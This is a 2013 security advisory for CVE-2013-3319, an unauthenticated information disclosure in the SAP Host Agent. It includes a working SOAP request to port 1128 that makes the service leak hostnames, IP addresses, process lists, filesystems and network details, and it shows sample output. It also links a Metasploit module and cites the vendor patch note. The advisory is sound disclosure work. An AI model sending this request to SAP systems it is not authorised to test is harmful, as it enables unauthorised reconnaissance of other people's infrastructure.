Security Advisory

SAP HOST AGENT INFORMATION DISCLOSURE

1. Vulnerability Properties

Title: SAP Host Agent Information Disclosure
CVE ID: CVE-2013-3319
CVSSv2 Base Score: 5.0 (AV:N/AC:L/AU:N/C:P/I:N/A:N)
Vendor: SAP (http://www.sap.com)
Products: SAP Netweaver
Advisory Release Date: 9 July 2013
Advisory URL: http://labs.integrity.pt/cve-2013-3319/
Credits: Discovery and PoC by Bruno Morisson <bm[at]integrity.pt>

2. Vulnerability Summary

A remote unauthenticated attacker may obtain internal information regarding the underlying operating system by sending an unauthenticated SOAP request to SAP HostControl service (tcp 1128). It is possible to obtain the following information:

Hostname(s);
IP Address(es);
Operating System version;
Running Processes details (including name, pid and partial usernames)
Filesystems;
Network Interface information;

3. Technical Details

The vulnerability can be confirmed by sending the following SOAP request invoking the GetComputerSystem method (handled by SAP Host Agent), without any authentication to the SAP HostControl Service, running on TCP port 1128:

```
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header>
<sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
<enableSession>true</enableSession></sapsess:Session>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl">
<aArguments><item><mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments>
</ns1:GetComputerSystem>
```

```
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

The HostAgent on the server will then reply with the internal information. Due to the XML response being very long, as an example, here's a parsed output of the information returned:

```
Remote Computer Listing
==============================

  Names       Hostnames              IPAddresses
  -----       ---------              -----------
  WIN2K8R2SAP  WIN2K8R2SAP;WIN2K8R2SAP;  192.168.1.175;127.0.0.1;


Remote OS Listing
=======================

  Name       Type  Version  TotalMemSize  Load Avg 1m  Load Avg 5m  Load Avg 15m  CPUs  CPU User  CPU Sys
CPU Idle
  ----       ---- -------  ------------  -----------  -----------  ------------  ----  --------  -------  --------
  Windows NT  0    6.1      6290432       0.16         0.17         0.21          4     0%        0%       100%


Remote Process Listing
============================

  Name              PID   Username     Priority  Size   Pages   CPU  CPU Time  Command
  ----              ---   --------     --------  ----   -----   ---  --------  -------
  Dwm.exe           912   Administrat  0         3840   1516    0%       0:00  Dwm.exe
  Explorer.EXE      1060  Administrat  0         70912  65704   0%       0:30  Explorer.EXE
  GoogleUpdate.exe  2656  Administrat  0         2560   2236    0%       0:00  GoogleUpdate.exe
  LogonUI.exe       764   SYSTEM       0         15360  7736    0%       0:02  LogonUI.exe
  conhost.exe       2356  SYSTEM       0         2816   1148    0%       0:00  conhost.exe
  csrss.exe         2188  SYSTEM       0         7424   3320    0%       0:00  csrss.exe
  csrss.exe         336   SYSTEM       0         4608   2388    0%       0:02  csrss.exe
  csrss.exe         396   SYSTEM       0         3840   1840    0%       0:01  csrss.exe
  dllhost.exe       1780  SYSTEM       0         11520  4520    0%       0:01  dllhost.exe
  lsass.exe         492   SYSTEM       0         12800  5956    0%       0:01  lsass.exe
  lsm.exe           500   SYSTEM       0         6144   3132    0%       0:00  lsm.exe
  mmc.exe           1188  Administrat  0         9984   19304   0%       0:00  mmc.exe
  msdtc.exe         2176  NETWORK SER  0         7936   3576    0%       0:01  msdtc.exe
  saphostexec.exe   1144  SYSTEM       0         6912   4640    0%       0:01  saphostexec.exe
  saposcol.exe      2348  SYSTEM       0         29696  25456   0%       0:02  saposcol.exe
  sapstartsrv.exe   1592  SAPServiceN  0         93696  118964  0%       0:01  sapstartsrv.exe
  sapstartsrv.exe   880   sapadm       0         78848  52144   0%       0:01  sapstartsrv.exe
  serv.exe          1264  SYSTEM       0         7936   5560    0%       0:00  serv.exe
  services.exe      484   SYSTEM       0         8448   4676    0%       0:02  services.exe
  smss.exe          248   SYSTEM       0         1024   536     0%       0:02  smss.exe
  spoolsv.exe       1048  SYSTEM       0         11008  6472    0%       0:00  spoolsv.exe
  sppsvc.exe        2896  NETWORK SER  0         11520  6552    0%       0:02  sppsvc.exe
  svchost.exe       1000  NETWORK SER  0         15360  11388   0%       0:01  svchost.exe
  svchost.exe       600   SYSTEM       0         9728   4492    0%       0:01  svchost.exe
  svchost.exe       780   LOCAL SERVI  0         12288  9644    0%       0:02  svchost.exe
  svchost.exe       1884  NETWORK SER  0         8192   3116    0%       0:00  svchost.exe
  svchost.exe       680   NETWORK SER  0         7680   3692    0%       0:00  svchost.exe
  svchost.exe       340   LOCAL SERVI  0         11008  8588    0%       0:00  svchost.exe
  svchost.exe       816   SYSTEM       0         38144  23952   0%       0:13  svchost.exe
  svchost.exe       960   SYSTEM       0         11520  4992    0%       0:00  svchost.exe
  svchost.exe       1112  NETWORK SER  0         5376   2064    0%       0:00  svchost.exe
  svchost.exe       888   LOCAL SERVI  0         13824  7340    0%       0:01  svchost.exe
  svchost.exe       2868  LOCAL SERVI  0         4608   1740    0%       0:00  svchost.exe
  taskmgr.exe       1752  Administrat  0         8704   2748    0%       0:00  taskmgr.exe
  vmtoolsd.exe      1408  SYSTEM       0         14848  7608    0%       0:51  vmtoolsd.exe
  vmtoolsd.exe      2112  Administrat  0         11008  5376    0%       0:01  vmtoolsd.exe
  vmware-usbarbitrato  1236  SYSTEM    0         5120   2396    0%       0:00  vmware-usbarbitrato
  wininit.exe       388   SYSTEM       0         4352   1708    0%       0:01  wininit.exe
  winlogon.exe      436   SYSTEM       0         4352   1752    0%       0:00  winlogon.exe
  wmiprvse.exe      1928  NETWORK SER  0         10240  5788    0%       0:00  wmiprvse.exe
```

```
Remote Filesystem Listing
================================

  Name                          Size    Available  Remote
  ----                         ----    ---------  ------
  C:                           102297  33920      (nil)
  \\?\Volume{92ca14d2-cbf6-11e1-8ee2-  99      71         (nil)


Network Port Listing
==========================

  ID      PacketsIn  PacketsOut  ErrorsIn  ErrorsOut  Collisions
  --      ---------  ----------  --------  ---------  ----------
  Intel[R  1l        0l          0l        0l         0l
  Local A  0l        0l          0l        0l         0l
  isatap.  0l        0l          0l        0l         0l
```

4. Proof of Concept

Metasploit module sap_hostctrl_getcomputersystem.rb available at:
http://github.com/integrity-sa/cve-2013-3319/

5. Vulnerable Versions

Confirmed on SAP Netweaver 7.03 (Windows).

6. Solution

See SAP Security Note 1816536

7. References

https://service.sap.com/sap/support/notes/1816536

8. Vulnerability Timeline

- 21 Aug 2012 – Reported vulnerability to vendor
- 23 Aug 2012 – Vendor acknowledged vulnerability
- 22 Oct 2012 – Vendor contact, with status update
- 23 Jan 2013 – Contacted vendor, requesting status update
- 23 Jan 2013 – Vendor replied with status update
- 9 Apr 2013 – Vendor releases patch
- 9 Jul 2013 – Advisory released